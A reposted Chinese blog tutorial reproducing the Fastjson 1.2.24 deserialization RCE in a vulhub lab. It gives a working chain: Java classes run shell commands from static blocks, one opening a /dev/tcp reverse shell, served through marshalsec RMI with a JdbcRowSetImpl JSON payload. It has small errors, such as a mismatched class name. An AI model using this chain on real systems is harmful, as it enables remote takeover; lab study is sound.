跨境派

跨境派

跨境派,专注跨境行业新闻资讯、跨境电商知识分享!

当前位置:首页 > 国内电商 > Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

时间:2024-05-03 21:15:47 来源:网络cs 作者:晨起 栏目:国内电商 阅读:

标签: 漏洞  保姆  详细  教程  序列  原理 
阅读本书更多章节>>>> 1.远程创建文件

 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process; public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/successFrank"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

编译.java文件,生成.class文件。可以直接在kali虚拟机中编译,也可以在其他地方编译好TouhFile.class然后传进虚拟机对应目录,我就是直接在主机中编译的,命令如下:

javac TouchFile.java

特别注意:要保证java和javac的版本一致,且都是1.8的版本!!!我这里均为1.8.0_201,我之前到最后一步的时候总是复现失败,就是这个原因,非常痛苦。

 把编译好的class文件传到外网系统中(这里传到kali服务器中,也就是靶场所在目录)

在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:

python -m http.server 4444

如下图所示,这样就成功启动http服务了

 

然后查看此网址,会看到网站服务器的目录:http://虚拟机ip:4444/

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

开启RMI服务,注意要更改""中的内容为你的虚拟机ip

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.131:4444/#TouchFile" 9999

 

 这里说一下marshalsec-0.0.3-SNAPSHOT-all.jar,下载地址为marshalsec-0.0.3-SNAPSHOT-all.jar

在pom.xml所在目录,需要运行以下命令生成.jar文件(生成成功后位于此目录的target子目录下)

mvn clean package -DskipTests

详细过程可以查看以下链接

下载marshalsec

刷新靶场(http://192.168.6.134:8090)的链接,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中输入以下payload:

Content-Type: application/jsonContent-Length: 170{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.200.131:9999/TouchFile",        "autoCommit":true    } }

注意rmi服务器的地址要改为你的虚拟机ip,要改的包如下图,把他发送到重放器repeater:

 抓包后改GET包为POST包(右键->变更请求方法),修改后的请求如下图,点击发送go,如果响应的状态码为500,应该就成功了。

 此时RMI监听效果:

http服务日志:

 此时应该已经完成了漏洞复现,我们检测一下是否在tmp目录touch创建了文件successFrank即可。

运行docker ps查看容器id,我这里为f8b32e034007

 进入容器,执行

docker exex –it 你的CONTAINER_ID bash

然后cd tmp,ls查看目录下文件,发现成功创建了successFrank,漏洞复现成功!

2.反弹shell的获取

基本思路和前面是一模一样的,改一下恶意站点的java代码就行了。在vulhub下的fastjson 1.2.24文件夹下保存以下代码为GetShell.java文件:

// javac GetShell.javaimport java.lang.Runtime;import java.lang.Process; public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 0>&1"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

注意别忘了将String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 };这句的url改为反弹shell的目标机ip和端口,此处依然是kali虚拟机的ip。

然后编译一下,产生GetShell.class。把GetShell.class放在1.2.24-rce目录下:

javac GetShell.java

 

Python起一个http服务,我这里已经开启了,如果没开启再运行一下下面的代码。

python -m http.server 4444

 浏览器访问恶意站点:4444,应该有如下的目录:

 开启RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.131:4444/#GetShell" 9999

这里也一样要把ip改为对应的虚拟机地址

 另起一个终端,开启之前恶意java代码中写的的7777端口,进行监听:

nc –lvvp 7777

 刷新靶场(http://192.168.200.131:8090)的链接,抓包后改GET包为POST包,然后在发送的请求数据包中输入以下payload:

Content-Type: application/jsonContent-Length: 168{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.200.131:9999/GetShell",        "autoCommit":true    } }

BP改包后如下图:

点击发送go,即可完成反弹shell

如下图,正在监听7777端口的终端,反弹shell获取成功,已经可以执行任何命令了

 漏洞复现成功!

结语

在复现的过程中我也出现了许多的问题,最后发送bp改过的数据包之后,一直无法获取shell,也无法创建文件。后来发现是java和javac的版本问题,一定要保证二者都是1.8的版本!

其他fastjson的漏洞原理相似,只不过是增加了一下黑白名单的过滤,也存在对应的绕过方法,大家可以CSDN上再搜一搜,有很多相关文章。

这是我的第一篇CSDN博客,希望以后能坚持多写写网络安全相关的文章,还望读者们多多关注,多多支持。如果有什么问题,欢迎评论区讨论。

给一些参考链接吧:

kali安装jdk1.8版本

kali安装vulhub靶场

然后我还参看了B站一个大佬的视频,这里也推荐一下

 fastjson反序列化漏洞演示加详细讲解加原理_哔哩哔哩_bilibili

 

阅读本书更多章节>>>>

本文链接:https://www.kjpai.cn/guonei/2024-05-03/164597.html,文章来源:网络cs,作者:晨起,版权归作者所有,如需转载请注明来源和作者,否则将追究法律责任!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。

文章评论